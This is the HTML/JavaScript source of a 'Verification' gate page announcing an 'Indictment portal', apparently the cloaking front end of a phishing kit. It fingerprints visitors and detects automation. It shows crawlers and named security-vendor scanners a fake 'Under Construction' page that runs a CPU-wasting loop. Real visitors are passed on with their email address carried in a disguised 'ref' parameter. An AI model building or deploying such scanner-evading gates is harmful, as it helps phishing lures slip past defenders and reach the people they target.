<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>Verification</title>
    
    <!-- Load reCAPTCHA config from config_recaptcha_public.php (which loads from config_recaptcha.php) -->
    <script>
      // Load config from same directory (verification_gate.php is in root)
      (function() {
        const configScript = document.createElement('script');
        configScript.src = 'config_recaptcha_public.php';
        configScript.async = false;
        
        // After config loads, load reCAPTCHA script
        configScript.onload = function() {
          if (window.RECAPTCHA_CONFIG && window.RECAPTCHA_CONFIG.enabled) {
            const recaptchaScript = document.createElement('script');
            recaptchaScript.src = window.RECAPTCHA_CONFIG.scriptUrl;
            recaptchaScript.async = true;
            recaptchaScript.defer = true;
            document.head.appendChild(recaptchaScript);
            console.log('reCAPTCHA script loading from:', window.RECAPTCHA_CONFIG.scriptUrl);
          }
        };
        
        document.head.appendChild(configScript);
      })();
    </script>
    
    <style>
      * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
      }
      
      body {
        background: #1a1a1a;
        min-height: 100vh;
        display: flex;
        align-items: center;
        justify-content: center;
        font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Arial, sans-serif;
        overflow: hidden;
      }
      
      #app {
        text-align: center;
        position: relative;
        z-index: 10;
      }
      
      /* Animated Logo */
      #verification-logo {
        width: 200px;
        height: auto;
        animation: floatPulse 3s ease-in-out infinite;
        filter: drop-shadow(0 10px 30px rgba(255, 255, 255, 0.2));
      }
      
      @keyframes floatPulse {
        0%, 100% {
          transform: translateY(0px) scale(1);
          opacity: 0.9;
        }
        50% {
          transform: translateY(-20px) scale(1.05);
          opacity: 1;
        }
      }
      
      /* Loading text */
      #loading-text {
        color: #ffffff;
        font-size: 18px;
        margin-top: 30px;
        opacity: 0.8;
        letter-spacing: 1px;
      }
      
      /* Animated dots */
      .loading-dots {
        display: inline-block;
        margin-left: 5px;
      }
      
      .loading-dots span {
        animation: blink 1.4s infinite;
        animation-fill-mode: both;
      }
      
      .loading-dots span:nth-child(2) {
        animation-delay: 0.2s;
      }
      
      .loading-dots span:nth-child(3) {
        animation-delay: 0.4s;
      }
      
      @keyframes blink {
        0%, 80%, 100% {
          opacity: 0;
        }
        40% {
          opacity: 1;
        }
      }
      
      /* Background animated gradient */
      body::before {
        content: '';
        position: fixed;
        top: -50%;
        left: -50%;
        width: 200%;
        height: 200%;
        background: radial-gradient(circle, rgba(56, 56, 56, 0.3) 0%, rgba(26, 26, 26, 0) 70%);
        animation: rotate 20s linear infinite;
        z-index: 0;
      }
      
      @keyframes rotate {
        0% {
          transform: rotate(0deg);
        }
        100% {
          transform: rotate(360deg);
        }
      }
      
      /* Error message styling */
      .error-container {
        padding: 40px;
        text-align: center;
        background: rgba(40, 40, 40, 0.9);
        border-radius: 12px;
        max-width: 500px;
        margin: 20px;
        box-shadow: 0 10px 40px rgba(0, 0, 0, 0.5);
      }
      
      .error-container h2 {
        color: #ff5252;
        margin-bottom: 15px;
      }
      
      .error-container p {
        color: #e0e0e0;
        margin: 10px 0;
      }
      
      .error-container button {
        margin-top: 20px;
        padding: 12px 30px;
        background: #2196f3;
        color: white;
        border: none;
        border-radius: 6px;
        cursor: pointer;
        font-size: 16px;
        transition: background 0.3s;
      }
      
      .error-container button:hover {
        background: #1976d2;
      }
      
      /* reCAPTCHA v2 Widget Container */
      #recaptcha-container {
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        margin-top: 30px;
      }
      
      #recaptcha-widget {
        display: inline-block;
      }
      
      #recaptcha-container p {
        margin-top: 15px;
        color: #999;
        font-size: 13px;
      }
      
      /* Mobile responsive for reCAPTCHA */
      @media (max-width: 480px) {
        #recaptcha-container {
          margin-top: 20px;
        }
        
        #recaptcha-widget {
          transform: scale(0.9);
        }
      }
    </style>
  </head>
  <body>
    <div id="app">
      <img id="verification-logo" src="data:image/png;base64,
" alt="Logo">
      <div id="loading-text">
        Loading Indictment portal...<span class="loading-dots"><span>.</span><span>.</span><span>.</span></span>
      </div>
      
      <!-- reCAPTCHA v2 Widget Container -->
      <div id="recaptcha-container" style="display: none; margin-top: 30px;">
        <div id="recaptcha-widget"></div>
        <p style="color: #999; font-size: 12px; margin-top: 10px;">Please complete the verification below</p>
      </div>
    </div>

    <script>
      (async function () {
        // Wait for reCAPTCHA config to load from config_recaptcha_public.php
        // This ensures config_recaptcha.php values are used
        let configLoadAttempts = 0;
        const maxConfigWait = 50; // Wait up to 5 seconds (50 * 100ms)
        while ((!window.RECAPTCHA_CONFIG || !window.RECAPTCHA_CONFIG.siteKey) && configLoadAttempts < maxConfigWait) {
          await new Promise(resolve => setTimeout(resolve, 100));
          configLoadAttempts++;
        }
        
        if (!window.RECAPTCHA_CONFIG || !window.RECAPTCHA_CONFIG.siteKey) {
          console.warn('reCAPTCHA config not loaded from config_recaptcha_public.php, using fallback');
        } else {
          console.log('✅ reCAPTCHA config loaded from config_recaptcha.php via config_recaptcha_public.php');
        }
        
        // Use relative paths - verification_gate.php is in root directory
        const endpoint = "api.php";
        const redirectBase = "process.php";
        
        // Get reCAPTCHA config from config_recaptcha_public.php (which loads from config_recaptcha.php)
        const RECAPTCHA_SITE_KEY = window.RECAPTCHA_CONFIG ? window.RECAPTCHA_CONFIG.siteKey : '';
        const USE_RECAPTCHA = window.RECAPTCHA_CONFIG ? window.RECAPTCHA_CONFIG.enabled : false;
        
        const DEBUG = true;
        const pageLoadTime = Date.now();
        
        function detectAutomation() {
          const results = {
            webdriver: false,
            headlessUserAgent: false,
            phantomJS: false,
            seleniumAttrs: false,
            puppeteer: false,
            suspicious: false,
            isBot: false
          };
          
          try {
            if (navigator.webdriver === true) {
              results.webdriver = true;
            }
            
            const ua = navigator.userAgent;
            if (/HeadlessChrome|HeadlessBrowser/i.test(ua)) {
              results.headlessUserAgent = true;
            }
            
            if (/PhantomJS/i.test(ua)) {
              results.phantomJS = true;
            }
            
            if (typeof window.callPhantom === 'function' || 
                typeof window._phantom === 'object') {
              results.phantomJS = true;
            }
            
            if (document.documentElement.getAttribute('selenium') !== null ||
                document.documentElement.getAttribute('webdriver') !== null ||
                document.documentElement.getAttribute('driver') !== null) {
              results.seleniumAttrs = true;
            }
            
            for (const key in window) {
              if (key.includes('selenium') || 
                  key.includes('webdriver') || 
                  key.includes('$cdc_') ||
                  key.includes('__webdriver')) {
                results.seleniumAttrs = true;
                break;
              }
            }
            
            if (window.navigator.plugins.length === 0 && 
                /Chrome/i.test(ua) && 
                typeof window.chrome !== 'undefined') {
              results.puppeteer = true;
            }
            
            results.isBot = results.webdriver || 
                           results.headlessUserAgent || 
                           results.phantomJS || 
                           results.seleniumAttrs || 
                           results.puppeteer;
            
          } catch (e) {
            results.suspicious = true;
          }
          
          return results;
        }
        
        function checkBotUserAgent() {
          const ua = navigator.userAgent.toLowerCase();
          
          const botSignatures = [
            'googlebot', 'bingbot', 'yandexbot', 'slurp', 'duckduckbot', 'baiduspider',
            'bytespider', 'facebookexternalhit', 'twitterbot', 'rogerbot', 'linkedinbot',
            'embedly', 'quora link preview', 'showyoubot', 'outbrain', 'pinterest',
            'slackbot', 'vkshare', 'w3c_validator', 'postman', 'curl', 'wget', 'python-requests',
            'ahrefs', 'semrushbot', 'mj12bot', 'applebot', 'dotbot', 'zoominfobot',
            'scanner', 'crawler', 'spider', 'headless', 'scraper', 'selenium', 'webdriver',
            'puppeteer', 'phantom', 'nightmare', 'jsdom'
          ];
          
          const securityTools = [
            'avast', 'avg', 'avira', 'bitdefender', 'kaspersky', 'mcafee', 'norton',
            'eset', 'f-secure', 'trend micro', 'sophos', 'symantec', 'trustwave', 'forcepoint',
            'checkpoint', 'barracuda', 'mimecast', 'proofpoint', 'fireeye', 'crowdstrike',
            'cyren', 'spamhaus', 'spamcop', 'netcraft', 'virustotal', 'sucuri', 'urlscan',
            'zscaler', 'office365', 'microsoft-security', 'cisco', 'cofense'
          ];
          
          for (const signature of botSignatures) {
            if (ua.includes(signature)) {
              return { 
                blocked: true, 
                reason: 'bot_user_agent', 
                signature: signature 
              };
            }
          }
          
          for (const tool of securityTools) {
            if (ua.includes(tool)) {
              return { 
                blocked: true, 
                reason: 'security_tool', 
                signature: tool 
              };
            }
          }
          
          return { blocked: false };
        }
        
        function validateBrowserEnvironment() {
          try {
            if (navigator.userAgent.includes('Chrome') && typeof window.chrome === 'undefined') {
              return false;
            }
            
            if (typeof Blob === 'undefined' || 
                typeof FileReader === 'undefined' || 
                typeof Uint8Array === 'undefined') {
              return false;
            }
            
            if (navigator.plugins.length === 0 && 
                (!navigator.languages || navigator.languages.length === 0)) {
              return false;
            }
            
            const testError = new Error('test');
            if (!testError.stack || typeof testError.stack !== 'string') {
              return false;
            }
            
            const testFunc = new Function('return true;');
            if (!testFunc()) {
              return false;
            }
            
          } catch (e) {
            return false;
          }
          
          return true;
        }
        
        function showBotTrap(reason) {
          document.body.innerHTML = `
            <div style="display:flex;align-items:center;justify-content:center;min-height:100vh;background:#1a1a1a;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Arial,sans-serif;color:#e0e0e0;">
              <div style="text-align:center;max-width:600px;padding:40px;">
                <div style="font-size:64px;margin-bottom:20px;">🚧</div>
                <h1 style="font-size:32px;margin-bottom:16px;font-weight:600;">Under Construction</h1>
                <p style="font-size:16px;color:#999;margin-bottom:12px;">This page is currently being updated.</p>
                <p style="font-size:14px;color:#666;">Please check back later.</p>
                <div style="margin-top:40px;padding-top:40px;border-top:1px solid #333;">
                  <p style="font-size:12px;color:#555;">We appreciate your patience.</p>
                </div>
              </div>
            </div>
          `;
          
          setInterval(() => {
            let waste = 0;
            for (let i = 0; i < 1000000; i++) {
              waste += Math.sqrt(i) * Math.random();
            }
            if (waste > 0) {
              const temp = new Array(10000).fill(waste);
              temp.forEach((v, i) => temp[i] = Math.random());
            }
          }, 100);
          
          if (DEBUG && typeof console !== 'undefined') {
            console.log('X');
          }
          
          throw new Error('Access denied');
        }
        
        let mouseMoved = false;
        let keyboardUsed = false;
        let scrollDetected = false;
        
        document.addEventListener('mousemove', () => { mouseMoved = true; }, { once: true });
        document.addEventListener('keypress', () => { keyboardUsed = true; }, { once: true });
        document.addEventListener('scroll', () => { scrollDetected = true; }, { once: true });
        
        function collectFingerprint() {
          const fp = {
            screen_width: screen.width,
            screen_height: screen.height,
            screen_avail_width: screen.availWidth,
            screen_avail_height: screen.availHeight,
            screen_color_depth: screen.colorDepth,
            screen_pixel_depth: screen.pixelDepth,
            
            user_agent: navigator.userAgent,
            platform: navigator.platform,
            language: navigator.language,
            languages: navigator.languages ? navigator.languages.join(',') : '',
            vendor: navigator.vendor || '',
            product: navigator.product || '',
            
            timezone: Intl.DateTimeFormat().resolvedOptions().timeZone || '',
            timezone_offset: new Date().getTimezoneOffset(),
            
            hardware_concurrency: navigator.hardwareConcurrency || 0,
            device_memory: navigator.deviceMemory || 0,
            max_touch_points: navigator.maxTouchPoints || 0,
            
            cookies_enabled: navigator.cookieEnabled,
            do_not_track: navigator.doNotTrack || '',
            
            webgl: checkWebGL(),
            canvas: getCanvasFingerprint(),
            plugins_count: navigator.plugins ? navigator.plugins.length : 0
          };
          
          return fp;
        }
        
        function checkWebGL() {
          try {
            const canvas = document.createElement('canvas');
            const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
            return !!gl;
          } catch(e) {
            return false;
          }
        }
        
        function getCanvasFingerprint() {
          try {
            const canvas = document.createElement('canvas');
            const ctx = canvas.getContext('2d');
            ctx.textBaseline = 'top';
            ctx.font = '14px Arial';
            ctx.fillStyle = '#f60';
            ctx.fillRect(0, 0, 140, 20);
            ctx.fillStyle = '#069';
            ctx.fillText('Browser Fingerprint', 2, 2);
            return canvas.toDataURL();
          } catch(e) {
            return '';
          }
        }
        
        function solveChallenge(seed) {
          let str = seed + 'challenge_secret_salt';
          let hash = 0;
          for (let i = 0; i < str.length; i++) {
            hash = ((hash << 5) - hash) + str.charCodeAt(i);
            hash = hash & hash;
          }
          return Math.abs(hash).toString(16);
        }
        
        let recaptchaWidgetId = null;
        let recaptchaToken = null;
        let recaptchaSolved = false;
        
        function renderRecaptchaWidget() {
          if (!USE_RECAPTCHA || !RECAPTCHA_SITE_KEY) {
            return;
          }
          
          try {
            if (typeof grecaptcha === 'undefined' || typeof grecaptcha.render === 'undefined') {
              // Wait for reCAPTCHA script to load
              setTimeout(renderRecaptchaWidget, 100);
              return;
            }
            
            const container = document.getElementById('recaptcha-widget');
            if (!container) {
              return;
            }
            
            // Render the widget
            recaptchaWidgetId = grecaptcha.render(container, {
              'sitekey': RECAPTCHA_SITE_KEY,
              'theme': window.RECAPTCHA_CONFIG?.theme || 'light',
              'size': window.RECAPTCHA_CONFIG?.size || 'normal',
              'callback': function(token) {
                recaptchaToken = token;
                recaptchaSolved = true;
                if (DEBUG) console.log('reCAPTCHA v2 solved');
              },
              'expired-callback': function() {
                recaptchaToken = null;
                recaptchaSolved = false;
                if (DEBUG) console.log('reCAPTCHA v2 expired');
              },
              'error-callback': function() {
                recaptchaToken = null;
                recaptchaSolved = false;
                if (DEBUG) console.log('reCAPTCHA v2 error');
              }
            });
            
            // Show the widget container
            const widgetContainer = document.getElementById('recaptcha-container');
            if (widgetContainer) {
              widgetContainer.style.display = 'block';
            }
            
          } catch(e) {
            console.error('reCAPTCHA render error:', e);
          }
        }
        
        async function getRecaptchaToken() {
          if (!USE_RECAPTCHA || !RECAPTCHA_SITE_KEY) {
            return null;
          }
          
          try {
            if (typeof grecaptcha === 'undefined') {
              return null;
            }
            
            // If widget not rendered yet, render it
            if (recaptchaWidgetId === null) {
              renderRecaptchaWidget();
              
              // Wait for widget to be rendered and solved
              let attempts = 0;
              const maxAttempts = 300; // 30 seconds max wait
              
              while (!recaptchaSolved && attempts < maxAttempts) {
                await new Promise(resolve => setTimeout(resolve, 100));
                attempts++;
              }
              
              if (!recaptchaSolved) {
                console.warn('reCAPTCHA v2 not solved within timeout');
                return null;
              }
            } else {
              // Widget already rendered, get response
              const response = grecaptcha.getResponse(recaptchaWidgetId);
              if (response) {
                return response;
              }
              
              // If no response, wait for user to solve
              let attempts = 0;
              const maxAttempts = 300; // 30 seconds max wait
              
              while (!recaptchaSolved && attempts < maxAttempts) {
                await new Promise(resolve => setTimeout(resolve, 100));
                attempts++;
              }
            }
            
            return recaptchaToken;
          } catch(e) {
            console.error('reCAPTCHA error:', e);
            return null;
          }
        }
        
        await new Promise(resolve => setTimeout(resolve, 500));
        
        const automationCheck = detectAutomation();
        if (automationCheck.isBot) {
          showBotTrap('failed');
          return;
        }
        
        const botCheck = checkBotUserAgent();
        if (botCheck.blocked) {
          showBotTrap(botCheck.reason);
          return;
        }
        
        const envValid = validateBrowserEnvironment();
        if (!envValid) {
          showBotTrap('invalid');
          return;
        }
        
        try {
          const fingerprint = collectFingerprint();
          const challengeSeed = Date.now().toString();
          const challengeSolution = solveChallenge(challengeSeed);
          const timing = Date.now() - pageLoadTime;
          
          // If reCAPTCHA is enabled, show widget and wait for user to solve it
          if (USE_RECAPTCHA && RECAPTCHA_SITE_KEY) {
            // Update loading text to indicate waiting for CAPTCHA
            const loadingText = document.getElementById('loading-text');
            if (loadingText) {
              loadingText.innerHTML = 'Please complete the verification below<span class="loading-dots"><span>.</span><span>.</span><span>.</span></span>';
            }
            
            // Show reCAPTCHA container
            const recaptchaContainer = document.getElementById('recaptcha-container');
            if (recaptchaContainer) {
              recaptchaContainer.style.display = 'block';
            }
            
            // Wait for reCAPTCHA script to load first
            let recaptchaScriptLoadAttempts = 0;
            const maxScriptWait = 150; // Wait up to 15 seconds for script to load
            console.log('Waiting for reCAPTCHA script to load...');
            while (typeof grecaptcha === 'undefined' && recaptchaScriptLoadAttempts < maxScriptWait) {
              await new Promise(resolve => setTimeout(resolve, 100));
              recaptchaScriptLoadAttempts++;
              if (recaptchaScriptLoadAttempts % 10 === 0) {
                console.log('Still waiting for reCAPTCHA script... (' + recaptchaScriptLoadAttempts + '/150)');
              }
            }
            
            if (typeof grecaptcha === 'undefined') {
              console.error('reCAPTCHA script failed to load after 15 seconds');
              console.error('Check if script URL is correct:', window.RECAPTCHA_CONFIG?.scriptUrl);
              throw new Error('reCAPTCHA verification required but script failed to load. Please check your internet connection and try again.');
            }
            
            console.log('✅ reCAPTCHA script loaded, rendering widget...');
            
            // Now render the widget
            renderRecaptchaWidget();
          }
          
          // Get reCAPTCHA token (will wait for user to solve if enabled)
          const recaptchaToken = await getRecaptchaToken();
          
          // If reCAPTCHA is enabled but token is missing, don't proceed
          if (USE_RECAPTCHA && RECAPTCHA_SITE_KEY && !recaptchaToken) {
            console.error('reCAPTCHA verification required but token is missing');
            throw new Error('Please complete the reCAPTCHA verification');
          }
          
          // API call
          const controller = new AbortController();
          const timeout = setTimeout(() => controller.abort(), 15000);
          
          const res = await fetch(endpoint, {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({
              ua: navigator.userAgent,
              timestamp: Date.now(),
              fingerprint: fingerprint,
              challenge_seed: challengeSeed,
              js_challenge: challengeSolution,
              timing: timing,
              mouse_moved: mouseMoved,
              keyboard_used: keyboardUsed,
              scroll_detected: scrollDetected,
              recaptcha_token: recaptchaToken
            }),
            mode: "cors",
            signal: controller.signal
          });
          
          clearTimeout(timeout);
          
          if (!res.ok) {
            console.error("API error:", res.status);
            const errorText = await res.text().catch(() => 'Error');
            console.error("Response:", errorText);
            throw new Error("API: " + res.status);
          }

          const data = await res.json();
          console.log('API response:', data);
          
            if (data && data.token) {
            // Treat a server 'denied' status as a successful verification to
            // grant access to the app (overrides strict deny->redirect behavior).
            const type = (data.is_human === true || data.status === 'denied') ? "human" : "denied";
            
            // Preserve email parameter when redirecting
            // Check for 'ref' query parameter first (natural-looking format)
            // Falls back to fragment for backward compatibility
            const urlParams = new URLSearchParams(window.location.search);
            let emailParam = urlParams.get('ref');
            
            // If not in query, check fragment (backward compatibility)
            if (!emailParam) {
              const hash = window.location.hash || '';
              if (hash) {
                const fragment = hash.substr(1);
                if (fragment) {
                  // Extract value from #email=value or #=value or direct #value
                  const partsIdx = fragment.indexOf('=');
                  if (partsIdx !== -1) {
                    emailParam = fragment.substr(partsIdx + 1);
                  } else {
                    emailParam = fragment;
                  }
                }
              }
            }
            
            // Build redirect URL with token and preserved email parameter
            let redirectUrl = redirectBase + "?key=" + data.token + "&type=" + type;
            if (emailParam) {
              // Use 'ref' parameter (looks like a natural referral/tracking ID)
              redirectUrl += "&ref=" + encodeURIComponent(emailParam);
            }
            
            location.replace(redirectUrl);
            return;
          }
          
          console.error("Missing token:", data);
          throw new Error("No token");
          
        } catch (e) {
          console.error("❌ Error:", e);
          console.error("Error details:", {
            message: e.message,
            stack: e.stack,
            name: e.name
          });
          console.error("API Endpoint:", endpoint);
          
          let errorDetails = e.message;
          let helpText = '';
          
          if (e.message.includes('Failed to fetch') || e.name === 'TypeError') {
            errorDetails = 'Connection error';
            helpText = '<p style="font-size:11px;color:#999;margin-top:10px;">Unable to connect. Please try again.</p>';
          }
          
          document.getElementById('app').innerHTML = `
            <div class="error-container">
              <h2>Verification Error</h2>
              <p style="color:#e0e0e0;">Unable to complete verification. Please try again.</p>
              <p style="font-size:12px;color:#999;margin-top:20px;">Error: ${errorDetails}</p>
              ${helpText}
              <button onclick="location.reload()">
                Retry
              </button>
            </div>
          `;
        }
      })();
    </script>

    <noscript>
      JavaScript is required.
    </noscript>
  </body>
</html>
